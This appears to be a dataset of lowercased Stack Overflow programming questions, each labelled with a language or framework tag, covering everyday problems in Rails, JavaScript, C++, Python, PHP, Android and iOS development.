undefined method `key   for nil:nilclass ruby on rails  i am using the following [rails tutorial][1]    [1]: <a href= http://ruby.railstutorial.org/chapters/sign-up#sec-a_users_resource  rel= nofollow >http://ruby.railstutorial.org/chapters/sign-up#sec-a_users_resource</a> to learn and have gotten to the section i ve linked to.    when i visit the rest url xxx/users/1  i am getting the error:   <pre><code>nomethoderror in userscontroller#index undefined method `key   for nil:nilclass </code></pre>   from reading online  i think it has to do with the code in the users model  but i ve followed the tut to a tee  and my code seems to be the same as the original. but maybe someone else can see something i m missing:   <pre><code>class user &lt; activerecord::base   attr_accessible :email  :name  :password  :password_confirmation   has_secure_password    before_save { |user| user.email = email.downcase }    validates :name  presence: true  length: { maximum: 50 }   valid_email_regex = /\a[\w+\-.]+@[a-z\d\-.]+\.[a-z]+\z/i   validates :email  presence: true  format: { with: valid_email_regex }  uniqueness: { case_sensitive: false }   validates :password  presence: true  length: { minimum: 6 }   validates :password_confirmation  presence: true end </code></pre>   any help would be appreaciated!    edit: here is the framework trace from the error:   <pre><code>actionpack (3.2.8) lib/action_controller/metal/hide_actions.rb:36:in `visible_action   actionpack (3.2.8) lib/action_controller/metal/hide_actions.rb:18:in `method_for_action  actionpack (3.2.8) lib/action_controller/metal/implicit_render.rb:14:in `method_for_action  actionpack (3.2.8) lib/action_controller/metal/compatibility.rb:61:in `method_for_action  actionpack (3.2.8) lib/abstract_controller/base.rb:115:in `process  actionpack (3.2.8) lib/abstract_controller/rendering.rb:45:in `process  actionpack (3.2.8) lib/action_controller/metal.rb:203:in `dispatch  actionpack (3.2.8) lib/action_controller/metal/rack_delegation.rb:14:in `dispatch  actionpack (3.2.8) lib/action_controller/metal.rb:246:in `block in action  actionpack (3.2.8) lib/action_dispatch/routing/route_set.rb:73:in `call  actionpack (3.2.8) lib/action_dispatch/routing/route_set.rb:73:in `dispatch  actionpack (3.2.8) lib/action_dispatch/routing/route_set.rb:36:in `call  journey (1.0.4) lib/journey/router.rb:68:in `block in call  journey (1.0.4) lib/journey/router.rb:56:in `each  journey (1.0.4) lib/journey/router.rb:56:in `call  actionpack (3.2.8) lib/action_dispatch/routing/route_set.rb:600:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/best_standards_support.rb:17:in `call  rack (1.4.1) lib/rack/etag.rb:23:in `call  rack (1.4.1) lib/rack/conditionalget.rb:25:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/head.rb:14:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/params_parser.rb:21:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/flash.rb:242:in `call  rack (1.4.1) lib/rack/session/abstract/id.rb:205:in `context  rack (1.4.1) lib/rack/session/abstract/id.rb:200:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/cookies.rb:339:in `call  activerecord (3.2.8) lib/active_record/query_cache.rb:64:in `call  activerecord (3.2.8) lib/active_record/connection_adapters/abstract/connection_pool.rb:473:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/callbacks.rb:28:in `block in call  activesupport (3.2.8) lib/active_support/callbacks.rb:405:in `_run__4595614879947811243__call__2349863385936106112__callbacks  activesupport (3.2.8) lib/active_support/callbacks.rb:405:in `__run_callback  activesupport (3.2.8) lib/active_support/callbacks.rb:385:in `_run_call_callbacks  activesupport (3.2.8) lib/active_support/callbacks.rb:81:in `run_callbacks  actionpack (3.2.8) lib/action_dispatch/middleware/callbacks.rb:27:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/reloader.rb:65:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/remote_ip.rb:31:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/debug_exceptions.rb:16:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/show_exceptions.rb:56:in `call  railties (3.2.8) lib/rails/rack/logger.rb:26:in `call_app  railties (3.2.8) lib/rails/rack/logger.rb:16:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/request_id.rb:22:in `call  rack (1.4.1) lib/rack/methodoverride.rb:21:in `call  rack (1.4.1) lib/rack/runtime.rb:17:in `call  activesupport (3.2.8) lib/active_support/cache/strategy/local_cache.rb:72:in `call  rack (1.4.1) lib/rack/lock.rb:15:in `call  actionpack (3.2.8) lib/action_dispatch/middleware/static.rb:62:in `call  railties (3.2.8) lib/rails/engine.rb:479:in `call  railties (3.2.8) lib/rails/application.rb:223:in `call  rack (1.4.1) lib/rack/content_length.rb:14:in `call  rack (1.4.1) lib/rack/handler/webrick.rb:59:in `service  /usr/lib/ruby/1.9.1/webrick/httpserver.rb:138:in `service  /usr/lib/ruby/1.9.1/webrick/httpserver.rb:94:in `run  /usr/lib/ruby/1.9.1/webrick/server.rb:191:in `block in start_thread  </code></pre>   edit again: here is the users_controller.rb contents. seems that may be the issue  but it s as listed in the tutorial:   <pre><code>class userscontroller &lt; applicationcontroller   def show     @user = user.find(params[:id])   end    def new   end end </code></pre>,ruby-on-rails
how can i call through app automatically   hi can anyone suggest me how can i call through app automatically i mean i used following code in my app.    <pre><code>nsurl *url = [nsurl urlwithstring:@ telprompt://123-4567-890 ]; [[uiapplication sharedapplication] openurl:url];  </code></pre>   its working properly and after call end its returning back to app too but problem is it will not take call event automatically we have to click call button.so is there any way to call without giving any user interaction   thanks in advnce...,objective-c
class member initialisation differences  with respect to the class definition for complex number  i saw two types of definitions:    definition 1   <pre><code>class complex {    private:       double re;       double im;     public:       complex(float r float i) {re = r; im = i;}       ~complex() {}; }; </code></pre>   definition 2   <pre><code>class complex {    private:       double re;       double im;     public:       complex(double r double i): re(r)  im(i) {}       ~complex() {};  }; </code></pre>   the first definition looks ok to me but i do not quite understand the second definition  how does    <pre><code> complex(double r double i): re(r)  im(i) {} </code></pre>   work  what does  re( )  mean,c++
how to convert a list into a list of tuples   here s what i have in the text file:   <pre class= lang-none prettyprint-override ><code>1712 albert 1703 benny 1799 henry 1735 jessica 1722 lucas 1701 luke 1757 william 1777 jenny 1783 lucia 1764 venus 1718 felicitas </code></pre>   here s what i have done to read the file but i have no idea how to put them into a list of tuples   <pre><code>def readrecords(filepath):     file = open( students1.txt    r )     filecontent = file.readlines()     file.close()     return filecontent </code></pre>   here s what the output is supposed to be:    <img src= https://i.stack.imgur.com/5hgls.png  alt= output file >,python
check if div there after click  remove it if it was there  i have a javascript which is create a type of accordion  i would like to open <code>div</code>s on click and then close them on a second click. i could done that but then i don t know where to insert the removing code <code>el.classlist.remove( opendiv );</code> to close all tabs that might was open and the only tab which should be open is the clicked one.     here is the javascript code:    <pre><code>var el = document.getelementsbyclassname( applications ); var i; var action = 1;  function addhandler(el) {    el.addeventlistener( click   function() {       if ( action == 1 ) {        el.classlist.add( opendiv );        action = 2;      } else {        el.classlist.remove( opendiv );        action = 1;      }    }); }  for (i = 0; i &lt; el.length; i++) {    addhandler(el[i]); } </code></pre>   i also created a <a href= http://codepen.io/anon/pen/lgggez  rel= nofollow >demo</a>,javascript
how do i alphabetize a list of domains in this way   so if i wanted to organize a list of websites alphabetically  and there were all of this form: example1.com  test.com  stackoverflow.com  google.com  it would be easy.  however  i want to also organize subdomains.  consider the following three domains:   <pre><code>a.domain.com domain.com anotherdomain.com </code></pre>   if i handed them over to software to alphabetize  they would be alphabetized like this:   <pre><code>a.domain.com anotherdomain.com domain.com </code></pre>   however  this is not how i want them alphabetized.  i want them to be alphabetized by domain  and then by subdomain as a  tiebreaker   in other words  like this:   <pre><code>anotherdomain.com domain.com a.domain.com </code></pre>   could someone tell me how to code php (or javascript) to do this   (you can assume that each  website  is on a fresh line of code.),php
javascript does not for some reason want to execute on my machine  i started using atom as my editor for learning javascript. i ve followed a bunch of tutorials online and while my code looks exactly like it does in the tuts  for some reason i m missing the javascript behavior. here is a simple example of my code that simply won t run out of atom  notepadd++ or notepad. in atom i use the atom-live-server  in notepadd i basiclaly open it on local host. anyoe have any idea    <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt;    &lt;meta charset= utf-8 &gt;    &lt;title&gt;document&lt;/title&gt; &lt;/head&gt; &lt;body&gt;    &lt;form name= login &gt;       &lt;input type= text  placeholder= username  name= userid &gt;&lt;br&gt;       &lt;input type= text  placeholder= password  name= pass &gt;&lt;br&gt;       &lt;input type = button  onclick= check(this.form)  value= login /&gt;    &lt;/form&gt;     &lt;script type= text/javascript &gt;       function check(form){          if(form.userid.value==   || form.pass.value==  ){             alert( blahblahblah )          }       }    &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
function identity in javascript  the following is unintuitive behavior in javascript    <pre><code>function function1 () {}; function function2 () {};  var class_a_functions = {function1:true  function2:true}; var contained = function1 in class_a_functions;//false var equals = function1.name in class_a_functions;//true </code></pre>   why does the <code>in</code> containment test fail even though i have inserted the functions  not their names  into the dictionary      edit: if it isn t obvious  i am aware that function1.name is  function1 . this is why i asked why the test fails  even though i have inserted the functions  not their names .,javascript
standard curl like access from dotnet  is there any library in dotnet that transforms a  normal  request string to a proper request     something that would automate things like   <pre><code> client.headers.[httprequestheader.authorization] &lt;-  basic   + un +  :  + pw; </code></pre>,.net
attempt to invoke virtual method  boolean android.widget.checkbox.ischecked()  on a null object reference  i am trying to display the selected items values because i want to store them later into arraylist to send them to the server. currently when i select the items and click on the button the app crashes and i am gettting the fowllowing error: <code>attempt to invoke virtual method  boolean android.widget.checkbox.ischecked()  on a null object reference</code>     how can i fix that     i appreciate any help.    oncreate method in the mainactivity:   <pre><code>@override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.route_available);      arraylist&lt;integer&gt; arr = new arraylist&lt;integer&gt;();     arr.add(2);     arr.add(4);     arr.add(6);     createcheckboxlist(arr);  } </code></pre>   the createcheckboxlist method in the mainactivity:   <pre><code> private void createcheckboxlist(final arraylist&lt;integer&gt; items) {           final linearlayout ll = (linearlayout) findviewbyid(r.id.lila);         for (int i = 0; i &lt; items.size(); i++) {            checkbox cb = new checkbox(this);             cb.settext(string.valueof(items.get(i)));             cb.setid(i);             ll.addview(cb);          }         button btn = new button(this);         btn.setlayoutparams(new linearlayout.layoutparams(500  150));         btn.settext( submit );         ll.addview(btn);          btn.setonclicklistener(new view.onclicklistener() {              @override             public void onclick(view v) {                 for (int i : items) {                     //boolean checked = ((checkbox)v).ischecked();                     checkbox ch=(checkbox) findviewbyid(i);                      if (ch.ischecked()) {                          toast.maketext(getapplicationcontext()                                       button is clicked  + ch  toast.length_long).show();                      }                 }              }         });      } </code></pre>   xml file:   <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= vertical      android:paddingbottom= @dimen/activity_vertical_margin      android:paddingleft= @dimen/activity_horizontal_margin      android:paddingright= @dimen/activity_horizontal_margin      android:paddingtop= @dimen/activity_vertical_margin      tools:context= com.bustracker.mainactivity  &gt;      &lt;textview         android:id= @+id/textview1          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_margintop= 5dp          android:paddingleft= 10dp          android:text= select route:           android:textsize= 30sp  /&gt;      &lt;linearlayout         android:id= @+id/lila          android:layout_width= match_parent          android:layout_height= wrap_content          android:layout_weight= 0.75          android:orientation= vertical  &gt;     &lt;/linearlayout&gt;    &lt;/linearlayout&gt; </code></pre>,android
sql index  attribute order  for this particular sql query:   <pre><code>select firstname from students where lastname =  john  </code></pre>   is building a b+ tree index on (lastname  firstname) faster than building the index on (firstname  lastname) and why,sql
border of text input element goes beyond containing table  with the following html  the input element s width goes beyond the edge of the table s border.  what is the proper way to have the input element take up the entire cell content s but still have the same margin on the right edge as it shows on the left    <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 strict//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd &gt; &lt;html lang= en  xml:lang= en  xmlns= http://www.w3.org/1999/xhtml &gt; &lt;body&gt; &lt;table style= border: 1px solid #000000;  width= 100% &gt; &lt;tr&gt; &lt;td&gt;&lt;input style= width:100% /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
ruby on rails  from an index action linking to individual item error  i m working on a ruby on rails project currently  doing it without scaffolding or anything just by hand. i have an index controller that simply lists all existing items in the db with a link on each that redirects to a details view.    the error i am getting is when trying to link to the item i have this line of code:   <pre><code>&lt;%= link_to  show   person %&gt; </code></pre>   this is the same line of code i see everywhere  even in other working apps  i know person is the right variable name but no idea why this is failing. the error i get at runtime is:   <pre><code>undefined method `person_path  for #&lt;actionview::base:0x7fe4d07f6568&gt; </code></pre>   any helpful hints,ruby-on-rails
how to most efficiently generate string from array of objects in javascript   i have the following:   <pre><code>var students = [{name: jordan   age: 6 } {name: jake   age: 7 } {name: mark   age: 10 }] </code></pre>   i want to generate a string like this:  jordan 6|jake 7|mark 10     what is the most efficient way to do this     i am currently using:   <pre><code>var studentstr =   ; for(var i = 0; i &lt; students.length; i++) {   studentstr = students[ name ] +     + students[ age ] +  |  } studentstr = studentstr.substring(0  studentstr.length - 1); </code></pre>   also  performance-wise  if i had an array of 2 000 items  is it  costly  to perform this transformation  the resulting string contains both keys in the object and not a single join on one object in the property.,javascript
"pass $scope variable to templateurl angularjs without displaying in url  i want to pass some data from controller to templateurl. is it possible  i don t want to show data in browser s url.     assume controller is like this:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>    app.controller( pagecontroller   function ($scope) {
      $scope.index_init = function(role){
       role.config = json.parse(role.config);
       $scope.brand_id = role.config.brand_id;
      }
     });</code></pre>
 </div>
 </div>
     and url is like this:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>app.config([ $routeprovider   function ($routeprovider) {
 $routeprovider
 .when( /coupons   {
   templateurl: function(){
             // i want brand_id here
    if(brand_id)
     return  /list brand_id=  + brand_id;
    else
     return  /list ;
   }  
   controller:  listcontroller })
 .otherwise( /404   {template:  error   controller:  errorcontroller });</code></pre>
 </div>
 </div>
     how can i get brand_id in templateurl  i don t want to pass brand_id in url like  /coupons brand_id=2  or like  /coupons/2 .     <strong>note:</strong> controller is running before clicking on url link.",angularjs
waiting for all controllers to load during run method  i need to do a broadcast when the page loads. the problem is that the controller never catches the broadcast (my guess is that this is because it hasn t been properly loaded). i have done some research on how to wait for the controllers to be loaded and i ve found that i can get a list with all loaded controllers with something like this:   <pre><code>searchapp.controller()._invokequeue </code></pre>   if i put a breakpoint in the script in the module/controller (the result is roughly the same) i get a list that contains the <code>$injector</code>  factory methods - <code>broadcast</code> and the <code>directives</code>. even if i am in the controller <code>_invokequeue</code> doesn t contain my controllers.    so how can i wait for the controllers to properly load or get the list of loaded controllers,angularjs
how to convert generated digital sound to analog  i have developed sound generator program in c# using directsound. it plays perfectly well when any frequency and intensity (dblevel) is given. my problem is that for example if i want to generate the sound  of fan or ship but that sound seems very different from the actual analog sound which we hear normally. how can i convert that digital sound to real analog audio. or any other such utility is available,.net
merge tables and keeping all distinct id values  i have multiple tables to merge and these tables may have different id values.    for example:    table 1:   <pre><code>id year month size1 a  2015   4    10 b  2015   5    20 </code></pre>   table 2:   <pre><code>id year month size2 a  2015   4    20 c  2015   5    40 </code></pre>   table 3:   <pre><code>id year month size3 d  2015   6    50 e  2015   7    50 </code></pre>   i want the merged table to look like this:   <pre><code>id year month size1 size2 size3 a  2015   4     10    20   null b  2015   5     20   null  null c  2015   5    null   40   null d  2015   6    null  null  50 e  2015   7    null  null  50 </code></pre>   i want the output id column to include all distinct ids from all the tables. my guess is that this can be somehow achieved by using full outer join on id  but i wasn t quite able to produce the desired output format.,mysql
merge two arrays outside their functions using promise.all  i m trying to merge two arrays by their id (event.id) into one array. i faced with a problem  i don t understand how to merge these arrays outside their functions. i know that there is a way to do it using <code>promise.all</code>  but don t know how to do it. thank you for your time.    <pre><code>function getpinnacle() {    return new promise(function (resolve  reject) {      var options = {sportid: 29};     pinnacle.getfixtures(options  function(err  response  body) {       if (err) throw new error(err);       var pinnfixtures = [];       body.league.foreach(function(leagues){         leagues.events.foreach(function(event){            if (event.status ==  o ){             pinnfixtures.push({                id : event.id                 hometeamname : event.home                 awayteamname : event.away             });           };             });       });       resolve(pinnfixtures);     });      var options = {sportid: 29  oddsformat:  decimal };     pinnacle.getodds(options  function(err  response  body) {       if (err) throw new error(err);       var pinnodds = [];       body.leagues.foreach(function(league){         league.events.foreach(function(event){           event.periods.foreach(function(period){             if (period.moneyline !== undefined) {               pinnodds.push({                  id : event.id                   hometeamodds : period.moneyline.home                   drawodds : period.moneyline.draw                   awayteamodds : period.moneyline.away               });              };           });         });       });       resolve(pinnodds);     });   });  } module.exports = getpinnacle; </code></pre>,javascript
nsinternalinconsistencyexception   reason:  error in compatibility flow   i have downloaded fully finished sample project from <a href= https://www.raywenderlich.com/143128/background-modes-tutorial-getting-started  rel= nofollow noreferrer >raywenderlich-backgroundmodes</a>    past four days i am facing this same issue in <a href= https://stackoverflow.com/questions/51262183/assertion-failure-and-nsinternalinconsistencyexception-in-nativescript >my xcode</a>.    can you guide me     <strong>iphone 6 - 11.0.3</strong>    when i click  location tab  <strong>error in compatibility flow</strong>.    <a href= https://i.stack.imgur.com/pgghe.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pgghe.png  alt= enter image description here ></a>    when i click  whatever tab  <strong>engine still needs optimisation after iterating many items</strong>.    <a href= https://i.stack.imgur.com/qzrjf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qzrjf.png  alt= enter image description here ></a>    <strong>xcode 9.2 simulator</strong>     it is working fine in simulator.     <a href= https://i.stack.imgur.com/kl1rs.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kl1rs.png  alt= enter image description here ></a>,ios
content overflow in storyboard  when building an interface in xcode 4.2 (using storybaord) what happens if the content is bigger than the screen in storyboard.  i can scroll text ok using scroll view  but how do i set out images or text boxes buttons etc when i cant edit the physical screen size     thanks,ios
maintaining a unique set of elements on different criteria c++ stl <blockquote>    i have to develop a component which   will have a more than   100 000 instances of a class. and i   want to generate a report based on the   different different criteria (members)   of the particular class. for example    a employee class with data fields id    names  addr  phoneno. report   generation wiil be based on  </blockquote>  <hr>  <ol> <li>names_ascending</li> <li>names_descending</li> <li>addr_ascending</li> <li>phoneno_asceding</li> <li>unique_names</li> <li>unique_addr</li> <li>unique_phoneno</li> </ol>   runtime iteration of  instances for each call is very slow since it is a linear operation on large number of instances and requires sorting mechanism.    so i have stored a pointers of each instances in a container on different sorted manner. but requires more memory than required. please suggest me a better way of doing this. i have posted sample code snippet that i followed to achieve above.   <pre><code>class employee {     int    m_id;     string m_name;     string m_addr;     string m_phone;  public:     employee(int id  string name  string addr  string phone) :           m_id(id)  m_name(name)  m_addr(addr)  m_phone(phone) { }      int    id()      const { return m_id;    }     string name()    const { return m_name;  }     string addr()    const { return m_addr;  }     string phoneno() const { return m_phone; } };  //custom predicate for std containers struct idcomparator {     bool operator() (const employee* e1  const employee* e2 )     {        return e1-&gt;id() &lt; e2-&gt;id();     } };  struct namecomparator {     bool operator() (const employee* e1  const employee* e2 )     {        return e1-&gt;name() &lt; e2-&gt;name();     } }  struct addresscomparator {     bool operator() (const employee* e1  const employee* e2 )     {        return e1-&gt;addr() &lt;  e2-&gt;addr();     } };  struct phonecomparator {     bool operator() (const employee* e1  const employee* e2 )     {        return e1-&gt;phoneno() &lt; e2-&gt;phoneno();     } };   //class which holds huge number of employee instances class dept { private:     typedef set&lt;employee*  idcomparator&gt; empid; //unnique id     typedef empid::iterator empid_iter;      typedef multiset&lt;const employee*  namecomparator&gt; empname;   // for sorted names     typedef empname::iterator name_iter;      typedef multiset&lt;const employee*  addresscomparator&gt; empaddr; // for sorted addr     typedef empaddr::iterator addr_iter;      typedef multiset&lt;const employee*  phonecomparator&gt; empphone;  // for sorted phoneno     typedef empphone::iterator phone_iter;  private:     empid    m_empids;     empname  m_names ;     empaddr  m_addr;     empphone m_phoneno;  public:     dept() { }     ~dept() { //delete the instances of employees }      void add(employee* e)      {         emp_iter iter = m_empids.insert(e).first;         const employee* empptr = &amp;*iter;         m_names.insert(empptr);    // adds employee pointer to name multimap         m_addr.insert(empptr);     // adds employee pointer to addr multimap         m_phoneno.insert(empptr);  // adds employee pointer to phone multimap     }       void print_emp_dtls()       const; //prints all the emp dtls iterating though empid       void print_unique_names()   const; //iterate empname &amp; use upperbound &amp; lowerbound  prints unique names      void print_asc_name()       const; //iterate empname &amp; prints all names in ascending order     void print_desc_name()      const; //back iterate empname &amp; prints all names in descending order      void print_unique_adrr()    const; //iterate empaddr &amp; use upperbound &amp; lowerbound  prints unique address     void print_asc_addr()       const; //iterate empaddr &amp; prints all addr in ascending order     void print_desc_addr()      const; //back iterate empaddr &amp; prints all address in descending order      void print_unique_phoneno() const; //iterate empphone &amp; use upperbound &amp; lowerbound prints unique phoneno     void print_asc_phoneno()    const; //iterate empphone &amp; prints all phoneno in ascending order     void print_desc_phoneno()   const; //back iterate empphone &amp; prints all phoneno in     }; </code></pre>,c++
how can set multiple submit buttons for uploading  i want 14 records to be uploaded. before uploading i want to select corresponding check button. at a time only one record can be uploaded. so all 14 records are arranged in a table with two buttons  one for choose file and other for submit. but problem is that only very first document is uploaded  others don t get uploaded. later i knew that i must use more than one form for all submission. how can it possible     <pre><code>     &lt;div class= portal-body  style= min-height: 268px; &gt;                                         &lt;table class= table striped hover bordered  id= sample_editable_4 &gt;                     &lt;thead&gt;                         &lt;tr&gt;                             &lt;th id= eval_style &gt;sl no.&lt;/th&gt;                             &lt;th id= eval_style &gt;document name&lt;/th&gt;                               &lt;th id= eval_style &gt;select&lt;/th&gt;                               &lt;th id= eval_style &gt;choose&lt;/th&gt;                             &lt;th id= eval_style &gt;submit&lt;/th&gt;                         &lt;/tr&gt;                     &lt;/thead&gt;                     &lt;tbody&gt;                          &lt; php  $i=1;                              foreach($evidence_details-&gt;result() as $row_evidence) {  &gt;                             &lt;tr&gt;                                     &lt;td&gt;&lt; php echo $i;  &gt;&lt;/td&gt;                                 &lt;td&gt;&lt; php echo $row_evidence-&gt;evidence_name;  &gt; &lt;/td&gt;                                             &lt;td&gt;                                     &lt;input type= checkbox  name= evidences  id= &lt; php echo $row_evidence-&gt;evidence_id;  &gt;  value= &lt; php echo $row_evidence-&gt;evidence_id;  &gt;   &lt; php if(in_array($row_evidence-&gt;evidence_id $evidence)) {  &gt;checked= checked &lt; php }  &gt; /&gt;                                   &lt;/td&gt;                                 &lt;td&gt;&lt;input type= file  name= multiupload  id= multiupload  multiple /&gt;&lt;/td&gt;                                 &lt;td&gt;&lt;button type= submit  class= btn blue  name= submithandler  id= submithandler  style= margin-top: 15px;margin-left: 54px; &gt;submit&lt;/button&gt;&lt;/td&gt;                                                     &lt;/tr&gt;                              &lt; php $i++; }    &gt;                      &lt;/tbody&gt;                 &lt;/table&gt;   &lt;/div&gt;   &lt;script type= text/javascript &gt; var config = {      support :  image/jpg image/png image/bmp image/jpeg image/gif application/vnd.ms-excel application/vnd.openxmlformats-officedocument.spreadsheetml.sheet text/csv application/pdf     form:  demofiler   // form id  dragarea:  draganddropfiles     uploadurl:  &lt; php echo base_url();  &gt;home/multiple_upload    }    $(document).ready(function()   {   initmultiuploader(config);     });   &lt;/script&gt; </code></pre>   <strong>controller</strong>   <pre><code>    function multiple_upload() {       $application_id=$this-&gt;session-&gt;userdata( application_id );   if(!is_dir( ./application/assets/uploads/ .$application_id))    {     mkdir( ./application/assets/uploads/ .$application_id  0777  true);   }  if($_server[ request_method ] ==  post ){     if(move_uploaded_file($_files[ file ][ tmp_name ]   ./application/assets/uploads/ .$application_id. / .$_files[ file ][ name ])){         echo($_post[ index ]);     }     exit;   } }     **multiupload.js**   function initmultiuploader(){ new multiuploader(config);   } </code></pre>,php
read lines containing certain numbers  so  here is what i want to do: i have two sets of data text files. the first set contains data looking like this:   <pre><code>timestamps  parameter 151 152     700 153 154     701 155 156     702 157 158     703 </code></pre>   where the first and the second column are timestamps  the third is a pramater. the second set of data looks like this:   <pre><code>timestamp       data value 154.2           +6.0087e-03 155.5           +8.3871e-03 155.7           +5.9500e-03 158             +1.5245e-02 </code></pre>   where the first column contains timestamps  the second a data-value.    so  what i want to do now is the following: i want to read the timestamps for a certain parameter  let s say for example timestamps for the parameter 702 (so 155 and 156). then i want to take those timestamps and add all data-values inbetween those timestamps to an array (so in this example the array would be:   <pre><code>array = [+8.3871e-03  +5.9500e-03] </code></pre>   so  i want to do this for actually every line of set one  which means parameters from 700 to 1100  so that i get an array of data-values for every of those parameters. i want to process the data further then  but first i need to get a solution for that problem  but i don t really have a good idea. i am thankful for any suggestions!,python
1 app  two publishers in two countries  here s what i m trying to do.    i have an ios app currently in the appstore available in the us  ca  uk that is a companion app to our desktop app.  myapp is the display name and exe and myappmobile is the itunes name/bundle id (too long for device display).      we have a republisher in another country where the desktop app has the same name with their company branding within.  i would like to have this company submit through their dev acct a version of our ios app (with some branding changes  different links  their contact info...) for their country only.  end result being that someone from this country see s this localized ios app coming from the republisher.    since our desktop apps are the same and use the same name i would like to use the same companion app names as much as i can. i don t believe we can use the same itunes app name( ) is it possible to have different bundle identifiers (so in itunes it says  brand myappmobile  but the display name on device and exe be myapp (same as it would be for us customers).    tom,ios
exclude a single li a when it is clicked on  i have a responsive menu where i need to exclude a single li a when it is clicked on.    basicly the jquery are changing the active element when the menu are clicked on but when the screen is resized to a smaller size the menu is hidden behind the 3 line icon.    i do not want the 3 line icon to aquire the active status. how is this done        my html:   <pre><code>&lt;nav&gt;     &lt;ul class= menu  id= mytopnav &gt;         &lt;li&gt;&lt;a class= active  href= #home &gt;home&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= #news &gt;news&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= #contact &gt;contact&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= #about &gt;about&lt;/a&gt;&lt;/li&gt;         &lt;li class= icon &gt;             &lt;a href= javascript:void(0);  style= font-size: 0.9375em;  onclick= myfunction() &gt;☰&lt;/a&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/nav&gt;  </code></pre>   my jquery:   <pre><code>$(document).ready(function () {      $( ul.menu li a ).click(function () {         $( ul.menu li a ).not(this).removeclass( active );         $(this).toggleclass( active );     }); }); </code></pre>   thanks all.,jquery
i don t want .html in url of website  my html page is showing .html at the end of url i want to remove that. can anyone help me out. my url are like    <pre><code>mysitedoain.com/about.html ..../contact.html </code></pre>,html
how to fill array class member from array parameter in constructor  i created two classes  the first is named <code>author</code> and the second <code>book</code>.  in the <code>book</code> class  i have the following attributes:    <code>private string s_titre;  private string[] name_author;  private double d_price;</code>    and the following constructor:   <pre><code>public book(string title  author[] author  double price) {     this.s_titre = titre;     for (int i = 0; i &lt;auteur.length; i++)     {          authoritarianism[i] = auteur[i].name;     }     this.d_price = price; } </code></pre>   i don t know how to fill the field <code>author</code> from <code>author</code>. i tried the above code  but it didn t work.,c#
how to post variables in aspx   in an aspx page  i am populating the rows of a table programatically by filling up a server-side string with  contents and then putting it in the output html with a construct <code>&lt;tbody&gt;&lt;%=mystring%&gt;&lt;/tbody&gt;</code>.    one of the <code>&lt;td&gt;</code> elements of the row is a button to delete the row  and i need to pass to the server another <code>&lt;td&gt;</code> element in the row.    in the server-side code that prepares the table  i tried with:   <pre><code>string rowtemplate;  rowtemplate =  &lt;tr&gt;&lt;td&gt;{0}&lt;/td&gt;&lt;td&gt;{1}&lt;/td&gt;&lt;td&gt;{2}&lt;/td&gt;&lt;td&gt;&lt;form action=\ /submit\  name=\ removeemail{0}\  runat=\ server\ &gt;&lt;input custom=\ {1}\  class=\ btn icon-remove\  value=\ x\  onserverclick=\ removeemail\  runat=\ server\ /&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt; ; </code></pre>   then  as i create rows  the place holders {0}  {1}  and {2} are replaced by the row s corresponding values.    the idea is to retrieve the  custom  attribute (the key for deletion) at the server-side function called removeemail  and then build the table again without the removed row.    however  it seems that the generated html for this inline form is not preprocessed by aspx engine so html code that reaches the browser is directly the aspx html markup.    how could i have the aspx markup preprocessed so that it behaves exactly as static aspx markup like the one that is find an a .aspx file   if that is not possible  how could i manage server-side deletion with an inline button on a table row in aspx,asp.net
jquery- how to properly test whether input field is blank  by value or length   in doing some jquery validation  i would like to test whether or not the form field was left blank. which is the best/most stable way of doing this- by testing that the value is not blank or by testing the length is not zero    <pre><code>if (inputvalue !=   ) { // do something </code></pre>   or   <pre><code>if (inputvalue.length &gt; 0) { // do something </code></pre>,jquery
float 32 array in objective-c  in javascript i have the following arrays for a cpu buffer:   <pre><code>var nverts = this.m_countvertices; this.m_bindpositions = new float32array(nverts * 3); this.m_bindnormals = new float32array(nverts * 3); this.m_deformedpositions = new float32array(nverts * 3); </code></pre>   what do you recommend to use in objective-c  instead of float32array. would an nsarray be sufficient     thanks,objective-c
ios app submission without @3x images and build with xcode 6.1  i am planning to submit an ios app to appstore. i developed this app earlier with xcode5.1 which supports ios 6.0 and later(ios8 was not released that time).    do i want to restructure my app for ios 8.0 by including launch screen and icon images for iphone 6 and 6 plus.  (when i add @3x launch images for iphone6/6 plus its showing some alignment issues with my screens which will force me to postpone my release.)    will my app get rejected if i build the app with xcode 6.1 without including launch screen and icon images for iphone 6 and 6 plus.,ios
mclocalization missing strings  <a href= https://i.stack.imgur.com/l90mc.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/l90mc.png  alt= enter image description here ></a>i have used mclocalization for localizing strings.    i have added all strings correctly but some of few strings it says there are no strings.    can anyone help,ios
